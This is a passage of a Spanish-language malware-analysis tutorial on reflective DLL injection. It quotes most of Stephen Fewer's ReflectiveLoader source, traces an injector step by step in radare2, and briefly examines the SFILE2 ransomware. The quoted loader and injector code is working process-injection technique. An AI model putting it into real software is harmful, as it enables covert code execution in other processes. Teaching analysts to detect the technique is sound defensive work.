// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
// create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
} while( 0 );
La llamada a GetRflctivLoadr analiza los exports de la DLL a inyectar para buscar ReflectiveLoader.
En radare2 o la herramienta de reversing de nuestra elección esto se detecta fácilmente:


Tras la llamada a CreateRemoteThread que referencia al ReflectiveLoader, la ejecución pasa al código de la DLL.
El ReflectiveLoader es código independiente de posición (position-independent code): puede ejecutarse sin importar dónde esté ubicado, ya que no hace referencias a posiciones fijas de memoria como llamadas API. Esto es habitual en shellcode, por ejemplo al trabajar con exploits. El cargador resolverá todo lo que necesita para la ejecución al vuelo.
Primero comprueba que se trata de un ejecutable válido verificando la firma MZ.
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
Después resuelve las bibliotecas necesarias:
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
Esto es muy fácil de detectar en análisis estático: para hacerlo, el cargador recorre el PEB y calcula el hash de las entradas para comprobar si se corresponden con los hashes que busca. Esos hashes ROR aparecen codificados como valores fijos, como vemos aquí:

Una simple búsqueda en Google revela información:

Una vez resueltas las bibliotecas, lo siguiente es resolver las funciones necesarias: GetProcAddress, VirtualAlloc y LoadLibrary.
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
El proceso es muy similar:

Un vistazo rápido a varios proyectos de GitHub revela la lista completa:

Hecho esto, el cargador pasa al paso 2: usar el recién resuelto VirtualAlloc para cargarse a sí mismo (la DLL completa) en memoria dentro del programa:
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
Esto también es fácil de detectar, ya que a la llamada a VirtualAlloc le sigue un patrón reconocible: el 0x40 para RWX y un tamaño grande a reservar.

El paso 3 mapea la DLL sección por sección:
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
Ese while anidado también se puede identificar, aunque de forma menos clara. Hay que prestar atención al mov byte dentro de un bucle.

Después hay que corregir la tabla de imports en el paso 4, para mapearla al espacio real del proceso.
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
Este paso puede ser difícil de detectar estáticamente; hay que prestar atención a la llamada call var_ch (¿qué contiene?).

Luego el paso 5, que desde el punto de vista del reversing es menos relevante.

Y finalmente, este es importante: la llamada al punto de entrada, ya que la DLL está completamente mapeada:
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
Este es un punto interesante para colocar un breakpoint, pues abre la puerta a todo lo que se ejecutará tras la inyección reflectiva de la DLL:

En este caso, la DLL que se inyecta en el ejemplo de Stephen Fewer es esta: el típico MessageBox inofensivo:
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK );
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
Depuración del inyector
Veámoslo ahora desde el punto de vista del depurador:
En radare2 podemos ver fácilmente que se está produciendo una carga reflectiva comprobando los exports de la DLL maliciosa:
PS C:\Users\lab\Desktop > radare2 -AAA .\reflective_dll.dll
[Warning: set your favourite calling convention in `e anal.cc=?`
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Finding function preludes
[x] Enable constraint types analysis for variables
-- We don't make mistakes... just happy little segfaults.
[0x100015c5]> iE
[Exports]
nth paddr vaddr bind type size lib name
------------------------------------------------------------------
1 0x00000460 0x10001060 GLOBAL FUNC 0 reflective_dll.dll _ReflectiveLoader@4
[0x100015c5]>
Al comprobar el inyector, vemos que primero se cargan los bytes crudos de la DLL.
| | ||| 0x00f610dc 8d4c2424 lea ecx, [esp + 0x24]
| | ||| 0x00f610e0 51 push ecx
| | ||| 0x00f610e1 57 push edi
| | ||| 0x00f610e2 50 push eax
| | ||| 0x00f610e3 53 push ebx
| | ||| 0x00f610e4 ff152090f600 call dword [sym.imp.KERNEL32.dll_ReadFile] ; 0xf69020 ; "N\xd4"
| | ||| 0x00f610ea b 8b1d4490f600 mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle] ; [0xf69044:4]=0xd46a ; "j\xd4"
[0x00f610e4]> pxr @ rsp
0x001cf9e4 0x000000e4 .... @ rsp 228 rbx
0x001cf9e8 0x0060afc8 ..`. PRIVATE rax
0x001cf9ec 0x0000e600 .... 58880 rdi
0x001cf9f0 0x001cfa18 .... PRIVATE rcx R W 0x0
0x001cf9f4 ..[ null bytes ].. 00000000
[0x00f610e4]> pxw @ 0x0060afc8
0x0060afc8 0x00905a4d 0x00000003 0x00000004 0x0000ffff MZ..............
0x0060afd8 0x000000b8 0x00000000 0x00000040 0x00000000 ........@.......
0x0060afe8 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x0060aff8 0x00000000 0x00000000 0x00000000 0x000000e8 ................
0x0060b008 0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd ........!..L.!Th
0x0060b018 0x70207369 0x72676f72 0x63206d61 0x6f6e6e61 is program canno
0x0060b028 0x65622074 0x6e757220 0x206e6920 0x20534f44 t be run in DOS
0x0060b038 0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000 mode....$.......
0x0060b048 0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8 ................
0x0060b058 0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2 .<d......<f.....
0x0060b068 0xf6653c19 0xf6abfabe 0xf6aafae8 0xf6abfaa6 .<e.............
0x0060b078 0xf6128d14 0xf6abfaed 0xf6793d4a 0xf6abfaea ........J=y.....
0x0060b088 0xf6613d4a 0xf6abfae9 0xf6623d4a 0xf6abfae9 J=a.....J=b.....
0x0060b098 0xf6673d4a 0xf6abfae9 0x68636952 0xf6abfae8 J=g.....Rich....
0x0060b0a8 0x00000000 0x00000000 0x00004550 0x0005014c ........PE..L...
0x0060b0b8 0x50c9c763 0x00000000 0x00000000 0x210200e0 c..P...........!
Esto es interesante porque aquí es bastante básico, ya que la DLL ya está en disco. Pero si pensamos en una DLL descargada desde un C2, este es el momento de volcar la DLL para reversearla individualmente más tarde.
Después la llamada al inyector, y VirtualAllocEx:
[0x00f610e4]> dc
hit breakpoint at: 0xf611b2
[0x00f611b2]> pd 10
| ;-- rip:
| 0x00f611b2 b e829020000 call fcn.004013e0
| 0x00f611b7 89442410 mov dword [esp + 0x10], eax
| 0x00f611bb 85c0 test eax, eax
| ,=< 0x00f611bd 751b jne 0xf611da
| | 0x00f611bf ff152490f600 call dword [sym.imp.KERNEL32.dll_GetLastError] ; 0xf69024
| | 0x00f611c5 50 push eax
| | 0x00f611c6 6818cef600 push str.Failed_to_inject_the_DLL ; 0xf6ce18 ; "Failed to inject the DLL"
| | 0x00f611cb 6890cdf600 push str._____s._Error_d ; 0xf6cd90 ; "[-] %s. Error=%d"
| | 0x00f611d0 e81c030000 call fcn.004014f1
| | 0x00f611d5 83c40c add esp, 0xc
| |||| ;-- rip:
| |||| 0x00f61449 b ff153490f600 call dword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; 0xf69034
| |||| 0x00f6144f b 894508 mov dword [ebp + 8], eax
| |||| 0x00f61452 85c0 test eax, eax
[0x00f61449]> dc
hit breakpoint at: 0xf6144f
[0x00f61449]> dr rax
0x00050000
[0x00f61449]> pxw @ 0x00050000
0x00050000 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050010 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050020 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050030 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050040 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050050 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050060 0x00000000 0x00000000 0x00000000 0x00000000 ................
Anotamos el espacio reservado para la DLL maliciosa; esto es importante porque lo comprobaremos de nuevo tras la inyección del código, y colocaremos algunos breakpoints:
Tras eso, se escribe la DLL:
[0x00f61449]> dc
hit breakpoint at: 0xf61463
[0x00f61449]> pxw @ 0x00050000
0x00050000 0x00905a4d 0x00000003 0x00000004 0x0000ffff MZ..............
0x00050010 0x000000b8 0x00000000 0x00000040 0x00000000 ........@.......
0x00050020 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x00050030 0x00000000 0x00000000 0x00000000 0x000000e8 ................
0x00050040 0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd ........!..L.!Th
0x00050050 0x70207369 0x72676f72 0x63206d61 0x6f6e6e61 is program canno
0x00050060 0x65622074 0x6e757220 0x206e6920 0x20534f44 t be run in DOS
0x00050070 0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000 mode....$.......
0x00050080 0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8 ................
0x00050090 0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2 .<d......<f.....
Y pasamos la ejecución mediante un hilo:
| |||||| 0x00f61470 51 push ecx
| |||||| 0x00f61471 56 push esi
| |||||| 0x00f61472 56 push esi
| |||||| 0x00f61473 50 push eax
| |||||| 0x00f61474 6800001000 push 0x100000
| |||||| 0x00f61479 56 push esi
| |||||| 0x00f6147a 57 push edi
| |||||| ;-- rip:
| |||||| 0x00f6147b b ff153090f600 call dword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; 0xf69030 ; "P;\x93u\x10]\x93u`_\x93u\xa0]Aw`3\x92u\xe0.\x92u01\x92u\xe0\x1e\x92u\xd0 \x92up\v\x92uPWCw\x90MCw\xf0\xfe@w`\xe7@w\xa0\u07d1u\xe0\xe7\x91u`\xe8\x91u\x10\u07d1u\x10N\x92u@\x16\x92uP\xf5\x91u\x80\u07d1u"
Comprobando los parámetros pasados a CreateRemoteThread, vemos nuestro espacio de direcciones; más concretamente, vemos el punto de entrada. Es el momento de poner un breakpoint ahí:
[0x00f61449]> pxr @ rsp
0x001cf994 0x000000e8 .... @ rsp 232 rdi
0x001cf998 ..[ null bytes ].. 00000000
0x001cf99c 0x00100000 .... PRIVATE
0x001cf9a0 0x00050460 `... PRIVATE rax R W X 'push ebp' 'PRIVATE '
0x001cf9a4 ..[ null bytes ].. 00000000
0x001cf9ac 0x001cf9c4 .... PRIVATE rcx R W 0x0
Y la ejecución se traslada allí:
[0x00f61449]> pd 50 @ 0x00050460
;-- rax:
0x00050460 55 push ebp
0x00050461 8bec mov ebp, esp
0x00050463 83ec20 sub esp, 0x20
0x00050466 53 push ebx
0x00050467 56 push esi
0x00050468 57 push edi
0x00050469 33db xor ebx, ebx
0x0005046b 33ff xor edi, edi
0x0005046d c745e8000000. mov dword [ebp - 0x18], 0
0x00050474 897df4 mov dword [ebp - 0xc], edi
0x00050477 895dec mov dword [ebp - 0x14], ebx
0x0005047a 895de4 mov dword [ebp - 0x1c], ebx
0x0005047d e8ceffffff call 0x50450
0x00050482 8bd0 mov edx, eax
Paso a paso empezamos a ver los mismos pasos que detectamos estáticamente:
: || 0x0005054b 8a0a mov cl, byte [edx]
: || 0x0005054d 84c9 test cl, cl
`====< 0x0005054f 75ef jne 0x50540
|| 0x00050551 3d8e4e0eec cmp eax, 0xec0e4e8e
,===< 0x00050556 740e je 0x50566
||| 0x00050558 3daafc0d7c cmp eax, 0x7c0dfcaa
,====< 0x0005055d 7407 je 0x50566
|||| 0x0005055f 3d54caaf91 cmp eax, 0x91afca54
|||| 0x00050564 7545 jne 0x505ab
|||| ; CODE XREF from unk @
|||| ; CODE XREF from unk @
``---> 0x00050566 8b4df0 mov ecx, dword [ebp - 0x10]
|| 0x00050569 0fb711 movzx edx, word [ecx]
|| 0x0005056c 8b4de0 mov ecx, dword [ebp - 0x20]
|| 0x0005056f 8b491c mov ecx, dword [ecx + 0x1c]
El análisis de kernel/ntdll:
|| 0x00930551 b 3d8e4e0eec cmp eax, 0xec0e4e8e
,===< 0x00930556 740e je 0x930566
||| 0x00930558 3daafc0d7c cmp eax, 0x7c0dfcaa
[0x00930460]> dc
hit breakpoint at: 0x930551
[0x00930551]> dr rax
0xa77d8d5a
[0x00930551]>
Y el análisis de las llamadas API a partir de sus hashes.
||| ;-- rip:
|``-> 0x00930566 b 8b4df0 mov ecx, dword [ebp - 0x10]
[0x00930551]> dr eax
0x7c0dfcaa
[0x00930551]> (GETPROCADDRESS)
Luego la llamada a VirtualAlloc:
0x0093065c 0f856efeffff jne 0x9304d0
0x00930662 8b55f8 mov edx, dword [ebp - 8]
0x00930665 8b7a3c mov edi, dword [edx + 0x3c]
0x00930668 6a40 push 0x40 ; '@' ; 64
0x0093066a 03fa add edi, edx
0x0093066c 6800300000 push 0x3000
0x00930671 ff7750 push dword [edi + 0x50]
0x00930674 897dec mov dword [ebp - 0x14], edi
0x00930677 6a00 push 0
0x00930679 ffd3 call ebx
Que reserva espacio para que la misma DLL se mapee en el proceso:
[0x00930677]> pd 10
0x00930677 b 6a00 push 0
0x00930679 ffd3 call ebx
;-- rip:
0x0093067b b 8b5754 mov edx, dword [edi + 0x54]
0x0093067e 8bf0 mov esi, eax
0x00930680 8b45f8 mov eax, dword [ebp - 8]
0x00930683 8975fc mov dword [ebp - 4], esi
0x00930686 8bc8 mov ecx, eax
0x00930688 85d2 test edx, edx
,=< 0x0093068a 7412 je 0x93069e
| 0x0093068c 2bf0 sub esi, eax
[0x00930677]> dr rax
0x009e0000
[0x00930677]> pxw @ 0x009e0000
0x009e0000 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x009e0010 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x009e0020 0x00000000 0x00000000 0x00000000 0x00000000 ................
Después el proceso de carga:
< 0x009306a8 7436 je 0x9306e0
| 0x009306aa 83c02c add eax, 0x2c ; 44
| 0x009306ad 03f8 add edi, eax
| 0x009306af 8b45f8 mov eax, dword [ebp - 8]
.--> 0x009306b2 8b4ff8 mov ecx, dword [edi - 8]
:| 0x009306b5 8b17 mov edx, dword [edi]
:| 0x009306b7 03ce add ecx, esi
:| 0x009306b9 8b77fc mov esi, dword [edi - 4]
:| 0x009306bc 4b dec ebx
:| 0x009306bd 03d0 add edx, eax
:| 0x009306bf 85f6 test esi, esi
,===< 0x009306c1 7410 je 0x9306d3
.----> 0x009306c3 8a02 mov al, byte [edx]
:|:| 0x009306c5 8801 mov byte [ecx], al
:|:| 0x009306c7 8d4901 lea ecx, [ecx + 1]
:|:| 0x009306ca 8d5201 lea edx, [edx + 1]
:|:| 0x009306cd 4e dec esi
`====< 0x009306ce 75f3 jne 0x9306c3
|:| 0x009306d0 8b45f8 mov eax, dword [ebp - 8]
`---> 0x009306d3 8b75fc mov esi, dword [ebp - 4]
:| 0x009306d6 83c728 add edi, 0x28 ; 40
:| 0x009306d9 85db test ebx, ebx
`==< 0x009306db 75d5 jne 0x9306b2
| 0x009306dd 8b7dec mov edi, dword [ebp - 0x14]
`-> 0x009306e0 8bb780000000 mov esi, dword [edi + 0x80]
0x009306e6 8b55fc mov edx, dword [ebp - 4]
Que mapea la DLL en el espacio reservado:
[0x00930677]> dc
hit breakpoint at: 0x9306e0
[0x009306e0]> pxw @ 0x009e0000
0x009e0000 0x00905a4d 0x00000003 0x00000004 0x0000ffff MZ..............
0x009e0010 0x000000b8 0x00000000 0x00000040 0x00000000 ........@.......
0x009e0020 0x00000000 0x00000000 0x00000000 0x00000000 ................
0x009e0030 0x00000000 0x00000000 0x00000000 0x000000e8 ................
0x009e0040 0x0eba1f0e 0xcd09b400 0x4c01b821 0x685421cd ........!..L.!Th
0x009e0050 0x70207369 0x72676f72 0x63206d61 0x6f6e6e61 is program canno
0x009e0060 0x65622074 0x6e757220 0x206e6920 0x20534f44 t be run in DOS
0x009e0070 0x65646f6d 0x0a0d0d2e 0x00000024 0x00000000 mode....$.......
0x009e0080 0xa5c59bac 0xf6abfae8 0xf6abfae8 0xf6abfae8 ................
0x009e0090 0xf6643c19 0xf6abfafa 0xf6663c19 0xf6abfae2 .<d......<f.....
0x009e00a0 0xf6653c19 0xf6abfabe 0xf6aafae8 0xf6abfaa6 .<e.............
0x009e00b0 0xf6128d14 0xf6abfaed 0xf6793d4a 0xf6abfaea ........J=y.....
0x009e00c0 0xf6613d4a 0xf6abfae9 0xf6623d4a 0xf6abfae9 J=a.....J=b.....
0x009e00d0 0xf6673d4a 0xf6abfae9 0x68636952 0xf6abfae8 J=g.....Rich....
Luego la corrección de direcciones de memoria mediante las relocalizaciones, junto con el resto de los pasos:
[0x00930745]> pd 20
:: ;-- rip:
:: 0x00930745 b 8906 mov dword [esi], eax
:: 0x00930747 83c604 add esi, 4
:: 0x0093074a 85ff test edi, edi
,===< 0x0093074c 7403 je 0x930751
|:: 0x0093074e 83c704 add edi, 4
`---> 0x00930751 833e00 cmp dword [esi], 0
`==< 0x00930754 75ba jne 0x930710
: 0x00930756 8b75f0 mov esi, dword [ebp - 0x10]
: 0x00930759 83c614 add esi, 0x14 ; 20
[0x009306e0]> db 0x00930745
[0x009306e0]> dc
(4084) loading library at 0x0000000076680000 (C:\Windows\SysWOW64\user32.dll) user32.dll
(4084) loading library at 0x0000000075990000 (C:\Windows\SysWOW64\win32u.dll) win32u.dll
(4084) loading library at 0x0000000075250000 (C:\Windows\SysWOW64\gdi32.dll) gdi32.dll
(4084) loading library at 0x0000000075C40000 (C:\Windows\SysWOW64\gdi32full.dll) gdi32full.dll
(4084) loading library at 0x0000000076520000 (C:\Windows\SysWOW64\msvcp_win.dll) msvcp_win.dll
(4084) loading library at 0x0000000076B10000 (C:\Windows\SysWOW64\ucrtbase.dll) ucrtbase.dll
(4084) loading library at 0x0000000075D70000 (C:\Windows\SysWOW64\imm32.dll) imm32.dll
hit breakpoint at: 0x930745
Y la llamada final a DllMain:
0x00930824 6a00 push 0
0x00930826 6a00 push 0
0x00930828 6aff push 0xffffffffffffffff
0x0093082a 03f2 add esi, edx
0x0093082c ff55e4 call dword [ebp - 0x1c]
0x0093082f ff7508 push dword [ebp + 8]
0x00930832 6a01 push 1 ; 1
0x00930834 ff75fc push dword [ebp - 4]
0x00930837 ffd6 call esi
0x00930839 5f pop edi
0x0093083a 8bc6 mov eax, esi
Y se ejecuta el código malicioso.
[0x009e15c5]> pd 150
;-- rsi:
;-- rip:
0x009e15c5 55 push ebp
0x009e15c6 8bec mov ebp, esp
0x009e15c8 837d0c01 cmp dword [ebp + 0xc], 1
,=< 0x009e15cc 7505 jne 0x9e15d3
| 0x009e15ce e876110000 call 0x9e2749
`-> 0x009e15d3 ff7510 push dword [ebp + 0x10]
0x009e15d6 ff750c push dword [ebp + 0xc]
0x009e15d9 ff7508 push dword [ebp + 8]
0x009e15dc e807000000 call 0x9e15e8

Uso de DLL reflectiva en el ransomware SFILE2
Pasando a un caso real, Vitali Kremez presentó el ransomware SFILE2 como ejemplo de uso de ReflectiveLoader.
Si cargamos el programa para analizarlo estáticamente, empezamos a ver una serie de imports sospechosos:

También podemos ver que el programa accede extensamente a recursos del sistema de archivos:

Junto con referencias claras al «cifrado»:

E incluso una clave pública:

Está claro que estamos ante un ransomware bastante básico.
Al comprobar sus exports, vemos una referencia a ReflectiveLoader. Investiguemos:

Empezamos viendo cómo comprueba que se trata de un ejecutable válido:

Y también podemos identificar claramente las referencias de hash a las bibliotecas necesarias:

Junto con la combinación de llamadas API necesarias:

Y una referencia muy clara a VirtualAlloc:

La copia en memoria de la DLL que se va a cargar reflectivamente:

Las relocalizaciones:

Y ahí encontramos la llamada a DllMain:

Así es más o menos cómo procederíamos para confirmar un caso de carga reflectiva de DLL. Este era sencillo porque encontramos una referencia clara a ReflectiveLoader y el ransomware en sí es bastante básico. En este caso particular, es probable que el ransomware se descargue como servicio desde un C2, de modo que el dropper, el downloader o la infección principal lo cargue usando el ReflectiveLoader.
En las siguientes lecciones profundizaremos en técnicas de inyección más avanzadas.
Extra: Secuestro básico de DLL (DLL hijacking)
Si profundizas un poco más en cómo funciona el proceso de carga de DLL, puedes encontrar formas más sencillas e interesantes de inyectar código.
Antes de continuar
